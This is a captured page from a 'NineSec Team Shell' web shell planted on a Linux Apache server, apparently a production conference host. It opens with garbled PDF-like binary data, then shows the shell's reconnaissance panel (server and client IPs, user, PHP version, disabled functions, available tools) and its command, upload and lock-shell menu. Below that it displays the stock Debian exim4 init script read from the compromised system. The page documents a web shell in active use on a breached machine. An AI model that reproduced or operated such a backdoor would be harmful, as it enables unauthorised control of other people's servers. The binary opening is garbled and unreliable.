%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /etc/opt/../rc5.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/opt/../rc5.d/S04exim4
#! /bin/sh
# /etc/init.d/exim4
#
# Written by Miquel van Smoorenburg <miquels@drinkel.ow.org>.
# Modified for Debian GNU/Linux by Ian Murdock <imurdock@gnu.ai.mit.edu>.
# Modified for exim by Tim Cutts <timc@chiark.greenend.org.uk>
# Modified for exim4 by Andreas Metzler <ametzler@downhill.at.eu.org>
#                   and Marc Haber <mh+debian-packages@zugschlus.de>

### BEGIN INIT INFO
# Provides:          exim4
# Required-Start:    $remote_fs $syslog $named $network $time
# Required-Stop:     $remote_fs $syslog $named $network
# Should-Start:      postgresql mysql clamav-daemon greylist spamassassin
# Should-Stop:       postgresql mysql clamav-daemon greylist spamassassin
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: exim Mail Transport Agent
# Description:       exim is a Mail Transport agent
### END INIT INFO

set -e

test -x /usr/lib/exim4/exim4 || exit 0

. /lib/lsb/init-functions

if [ -n "$EX4DEBUG" ]; then
  echo "now debugging $0 $@"
  set -x
fi

LANG=C
export LANG

#read default file
QUEUERUNNER='combined'
QUEUEINTERVAL='30m'
UPEX4OPTS=''
PIDFILE="/var/run/exim4/exim.pid"
QRPIDFILE="/var/run/exim4/eximqr.pid"
[ -f /etc/default/exim4 ] && . /etc/default/exim4

upex4conf() {
  UPEX4CONF="update-exim4.conf"
  OLDIFS="$IFS"
  IFS=:
  for p in $PATH; do
    if [ -x "$p/$UPEX4CONF" ]; then
      IFS="$OLDIFS"
      $p/$UPEX4CONF $UPEX4OPTS
      return 0
    fi
  done
  IFS="$OLDIFS"
}

# Exit if exim runs from /etc/inetd.conf
if [ -f /etc/inetd.conf ] && grep -E -q '^[[:space:]]*((\*|[[:alnum:].-]+):)?smtp[[:space:]]' /etc/inetd.conf
then
  upex4conf
  exit 0
fi


DAEMON="/usr/sbin/exim4"
NAME="exim4"

# this is from madduck on IRC, 2006-07-06
# There should be a better possibility to give daemon error messages
# and/or to log things
log()
{
  case "$1" in
    [[:digit:]]*) success=$1; shift;;
    *) :;;
  esac
  log_action_begin_msg "$1"; shift
  log_action_end_msg ${success:-0} "$*"
}

start_exim()
{
  [ -e /var/run/exim4 ] || \
    install -d -oDebian-exim -gDebian-exim -m750 /var/run/exim4
  case ${QUEUERUNNER} in
    combined)
      start_daemon -p "$PIDFILE" \
        "$DAEMON" -bd "-q${QFLAGS}${QUEUEINTERVAL}" \
        ${COMMONOPTIONS} \
        ${QUEUERUNNEROPTIONS} \
        ${SMTPLISTENEROPTIONS}
      log_progress_msg "exim4"
      ;;
    separate)
      start_daemon -p "$PIDFILE" \
        "$DAEMON" -bd \
        ${COMMONOPTIONS} \
        ${SMTPLISTENEROPTIONS}
      log_progress_msg "exim4_listener"
      start_daemon -p "$QRPIDFILE" \
        "$DAEMON" -oP $QRPIDFILE \
        "-q${QFLAGS}${QUEUEINTERVAL}" \
        ${COMMONOPTIONS} \
        ${QUEUERUNNEROPTIONS}
      log_progress_msg "exim4_queuerunner"
      ;;
    queueonly)
      start_daemon -p "$QRPIDFILE" \
        "$DAEMON" -oP $QRPIDFILE \
        "-q${QFLAGS}${QUEUEINTERVAL}" \
        ${COMMONOPTIONS} \
        ${QUEUERUNNEROPTIONS}
      log_progress_msg "exim4_queuerunner"
      ;;
    no|ppp)
      start_daemon -p "$PIDFILE" \
        "$DAEMON" -bd \
        ${COMMONOPTIONS} \
        ${SMTPLISTENEROPTIONS}
      log_progress_msg "exim4_listener"
      ;;
    nodaemon)
      ;;    
  esac
}

stop_exim()
{
# we try to kill eximqr and exim SMTP listener, no matter what
# ${QUEUERUNNER} is set to, we could have switched since starting.
  if [ -f "$QRPIDFILE" ]; then
    killproc -p "$QRPIDFILE" "$DAEMON"
    # exim does not remove the pidfile
    if [ $? -eq 0 ] ; then rm -f "$QRPIDFILE" ; fi
    log_progress_msg "exim4_queuerunner"
  fi
  if [ -f "$PIDFILE" ]; then
    killproc -p "$PIDFILE" "$DAEMON"
    # exim does not remove the pidfile
    if [ $? -eq 0 ] ; then rm -f "$PIDFILE" ; fi
    log_progress_msg "exim4_listener"
  fi
}

reload_exim()
{
  case ${QUEUERUNNER} in
    combined|no|ppp)
      killproc -p "$PIDFILE" "$DAEMON" -HUP
      log_progress_msg "exim4"
      ;;
    separate)
      killproc -p "$PIDFILE" "$DAEMON" -HUP
      log_progress_msg "exim4_listener"
      killproc -p "$QRPIDFILE" "$DAEMON" -HUP
      log_progress_msg "exim4_queuerunner"
      ;;
  esac
}

kill_all_exims()
{  SIG="${1:-TERM}"
  for pid in $(pidof $NAME); do
    if [ "$(readlink /proc/$pid/root)" = "/" ]; then
      kill -$SIG $pid
    fi
  done
}

status()
{
  # the exit value of this function reflects the status of the SMTP
  # service. Output shows the status of the queue runner as well.
  SMTPNAME="SMTP listener daemon"
  QRNAME="separate queue runner daemon"
  if [ "${QUEUERUNNER}" = "combined" ]; then
      SMTPNAME="combined SMTP listener and queue runner daemon"
  fi
  log_action_begin_msg "checking $QRNAME"
  if pidofproc -p "$QRPIDFILE" "$DAEMON" >/dev/null; then
    log_action_end_msg 0 "running"
  else
    if [ -e "$QRPIDFILE" ]; then
      log_action_end_msg 1 "$QRNAME failed"
    else
      log_action_end_msg 0 "not running"
    fi
  fi
  log_action_begin_msg "checking $SMTPNAME"
  if pidofproc -p "$PIDFILE" "$DAEMON" >/dev/null; then
    log_action_end_msg 0 "running"
    exit 0
  else
    if [ -e "$PIDFILE" ]; then
      log_action_end_msg 1 "$SMTPNAME failed"
      exit 1
    else
      log_action_end_msg 0 "not running"
      exit 3
    fi
  fi
}

# check for valid configuration file
isconfigvalid()
{
if ! $DAEMON -bV > /dev/null ; then
  log 1 "Warning! Invalid configuration file for $NAME. Exiting."
  exit 1
fi
}

# check for non-empty paniclog
warn_paniclog()
{
  if [ -s "/var/log/exim4/paniclog" ]; then
    if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then
      echo "ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken" 1>&2
    fi
  fi
}

case "$1" in
  start)
    log_daemon_msg "Starting MTA"
    # regenerate exim4.conf
    upex4conf
    isconfigvalid
    start_exim
    log_end_msg 0
    warn_paniclog
    ;;
  stop)
    log_daemon_msg "Stopping MTA"
    stop_exim
    log_end_msg 0
    warn_paniclog
    ;;
  restart)
    log_daemon_msg "Stopping MTA for restart"
    # regenerate exim4.conf
    upex4conf
    isconfigvalid
    stop_exim
    log_end_msg 0
    sleep 2
    log_daemon_msg "Restarting MTA"
    start_exim
    log_end_msg 0
    warn_paniclog
    ;;
  reload|force-reload)
    log_daemon_msg "Reloading $NAME configuration files"
    # regenerate exim4.conf
    upex4conf
    isconfigvalid
    reload_exim
    log_end_msg 0
    warn_paniclog
    ;;
  status)
    status
    ;;
  force-stop)
    kill_all_exims $2
    ;;
  *)
    echo "Usage: $0 {start|stop|restart|reload|status|what|force-stop}"
    exit 1
    ;;
esac

exit 0
# vim:tabstop=2:expandtab:shiftwidth=2

NineSec Team - 2022